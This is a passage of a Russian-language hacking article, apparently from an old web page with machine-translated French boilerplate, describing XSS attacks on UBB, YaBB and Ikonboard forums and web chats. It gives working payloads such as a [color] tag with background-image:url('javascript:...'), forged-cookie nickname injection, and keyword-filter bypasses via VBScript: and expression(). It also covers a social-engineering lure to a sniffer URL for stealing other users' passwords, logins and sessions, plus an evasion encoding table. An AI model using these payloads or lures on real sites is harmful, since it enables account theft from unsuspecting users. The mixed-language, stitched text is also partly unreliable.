    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) ou background:expression(alert())
    Табличка часто применяемых кодов:
    Symbole Encodage décimal 16ème encodage de caractères * Encodage de caractères Unicode
    " " " " "
    ' ' '   '
    " " "   "
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    Et Et Et Et Et

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Il ne sera pas superflu que vos amis connaissent ces informations, partagent leur article avec eux!

    Développer / Réduire Expand / Collapse box with comments

    Les commentaires

    En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les gens réels, montrer du respect et de la tolérance à vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de liberté d'expression et d'anonymat fournies par Internet. non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
    Maintenant, tout le monde peut publier des articles
    Essayez-le d'abord!
    Ecrire un article
    L'a aimé? Abonnez-vous aux nouvelles RSS ,
    être le premier à recevoir des informations
    sur tous les événements importants du pays et du monde.
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur: